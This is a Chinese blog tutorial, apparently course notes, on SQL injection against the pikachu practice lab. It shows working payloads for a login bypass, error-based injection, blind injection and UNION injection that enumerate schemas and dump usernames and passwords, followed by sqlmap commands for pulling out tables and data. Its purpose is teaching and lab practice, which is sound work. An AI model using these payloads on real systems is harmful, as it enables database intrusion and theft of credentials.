web安全-3-SQL注入漏洞

本文介绍了如何在pikachu靶场环境中搭建,包括下载、安装、配置过程,随后详细讲解了SQL注入原理、判断方法,以及常见注入类型(如报错注入、盲注)及其利用方式。还涉及了如何通过WAF绕过和使用sqlmap工具进行实战检测和绕过技巧。
摘要由CSDN通过智能技术生成

笔记是根据马士兵教育2024HVV专题编写,作为学习记录来分享,如有错误的地方请指正,谢谢

免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

1、pikachu靶场环境搭建

1.1、pikachu靶场下载地址

https://github.com/zhuifengshaonianhanlu/pikachu

1.2、安装phpstudy

https://www.xp.cn/

1.3、 将pikachu解压于phpstudy下的www目录中

在这里插入图片描述

1.4、修改pikachu-master----》inc—》config.inc.php文件

在这里插入图片描述
这里修改mysql的端口是因为我默认的3306端口被占用,在phpstudy中修改成3309,所以这边也要改成一样的,主要密码要修改一下。
在这里插入图片描述

1.5、启动phpstudy,访问网站

**加粗样式**
在这里插入图片描述

2、sql注入原理

在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。导致传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、数据被删除、甚至整个服务器权限沦陷)。

3、如何判断存在注入

3.1、漏洞可能存在的地方

  1. 登录框
    万能密码
    原验证登陆语句:
SELECT * FROM admin WHERE Username= '".$username."' AND Password='".md5($password)."'

输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:

SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
  1. 查询
  2. 订单处理等地方
  3. 获取http头功能点

3.2、注入点查看

  1. 报错注入
  2. 盲注

4、常见注入类型及利用方式

4.1、报错注入

4.1.1、报错函数

updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string

举例
报错payload:

1'+union+select+updatexml(1,concat(0x7e,(select+database()),0x7e),1)--+

解析:这段代码用到updatexml函数,但是第二个参数concat(0x7e,(select+database())是一个连接字符串的函数并不符合xpath_string格式规则就会进行报错。0x7e是~这个符号,查询数据库。
注: +代表空格,–+代表注释
在这里插入图片描述
ExtractValue(xml_frag, xpath_expr)
xml_frag: XML 标记片段,xml语言的标签闭合内的值,
xpath_expr: XPath 表达式,匹配xml标签内的值并返回。
payload:

1'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))--+

在这里插入图片描述

4.2、sql查询语句

除了查看数据库 还有会使用到的其他函数:

1、user()查当前的用户为:user() =>select user();

2、 Version();当前 mysql 的版本

union select 1,2,version()

3、 Database();当前网站使用的数据库

union select 1,2,database()

4、 User();当前 MySQL 的用户

union select 1,2,user()

5、 system_user(); 系统用户名

6、session_user();连接数据库的用户名

7、current_user;当前用户名

8、load_file();读取本地文件

9、@@datadir:读取数据库路径

10、@@basedir:mysql安装路径

9、length(str) : 返回给定字符串的长度,如 length(“string”)=6

10、substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”

substr()、stbstring()、mid() 三个函数的用法、功能均一致

11、concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接

12、group_concat(username) :将username数据查询在一起,用逗号连接

Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name


4.3、盲注

盲注一般用到的一些函数:if()、ascii()、substr()、length(),exists()、concat()等
payload:

kobe'+and+ascii(substr(database(),1,1))=112--+

substr(database(),1,1)获取数据库的第一个字母
ascii(substr(database(),1,1))转换为ascii值112
ascii值112是p,如果上面这个条件成立,则会正常显示也就是说数据库第一位是p
在这里插入图片描述
如果用113则报错
在这里插入图片描述
查询数据库第二位ascii值105==i正确,正常显示

kobe'+and+ascii(substr(database(),2,1))=105--+

在这里插入图片描述

在这里插入图片描述

4.4、联合查询

4.4.1、 在用联合查询前需要先拆解字段

1、首先字符型,先测一下用什么闭合,用单引号或双引号测试,如图可以看出是用单引号闭合
在这里插入图片描述
2、拆解一下有几个字段可以使用

a'+order+by+5--+

这里出现报错,说明没有5个字段,那数据就可以往下降
在这里插入图片描述
这个靶机降到2显示,说明是2个字段
在这里插入图片描述
3、有这个显示后,我们就可以去联合查询,可以查询出他的库名和当前用户

a'+union+select+database(),user*();--+

在这里插入图片描述

4.4.2、联合查询语句

1、information_schema.schemata:

该数据表存储了mysql数据库中的所有数据库的库名
schema_name列 :其包含了当前数据库管理系统中所有的数据库

2、information_schema.tables:

该数据表存储了mysql数据库中的所有数据表的表名
table_name列:此列记录当前数据库管理系统中所有表的合集
table_schema列:此列记录当前数据库管理系统中所有数据库的合集
payload:

a' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

在这里插入图片描述

3、information_schema.columns:

该数据表存储了mysql数据库中的所有列的列名
payload:

a' union select table_name,column_name from information_schema.columns where table_name='users'#

在这里插入图片描述
4、获取详细数据

a' union select username,password from users#

在这里插入图片描述

5、SQL注入实战思路

5.1、waf绕过

1、等于号:
2、Substr,mid等
3、逗号
4、And/or

5.2、sqlmap的使用

扫描语法

1、-u 指定目标url

2、-m url_list.txt # 使用一个包含多个url的文件进行扫描。

3、-r request.txt # Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。 (BurpSuit抓包–>将请求复制到txt中即可)

4、-p “username,id” # 指定要扫描的参数

5、–proxy=“http://127.0.0.1:8087/” # 使用代理去扫描目标

6、–force-ssl # 使用HTTPS连接进行扫描

7、–delay=“3” # 每次http请求之间的延迟时间,默认无延迟

8、–timeout=“10” # 请求超时时间,浮点数,默认为30秒

9、–level

2:检测cookie中是否含有注入
3:检测user-agent、referer是否含有注入
5:检测host是否含有注入

10、–risk 默认1,最高4,等级高容易造成数据被篡改风险

11、–threads=7 #提高并发线程,默认为1,建议不要超过10,否则影响站点可用性

12、–dbms=“Mysql” # 指定数据库类型,还可以加上版本 Mysql

13、–os=“Windows” # 指定操作系统,还可以是Linux

查询语法

  1. –users # 查询所有的数据库账号

  2. –dbs # 查询所有数据库

  3. –schema # 查询源数据库(包含定义数据的数据)

  4. -a # 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等

  5. -D dvwa# 指定数据库

    命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa --tables

    -T 是查看某个数据表

    –columns 查看的表中的所有字段

    命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa -T users --columns

    –dump 查看所有字段的内容

  6. –current-user # 查询当前数据库用户

  7. –current-db # 查询当前数据库

  8. –hostname # 查看服务器的主机名

    1. –columns # 查看所有的字段
  9. –tables # 查看所有的表

5.3、sql实战思路

前期通过一些漏扫工具扫描,后期通过注入点去手工注入。
自己学习的时候可以,通过sqlmap去跑,然后通过burpsuite的看流量,去学习
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值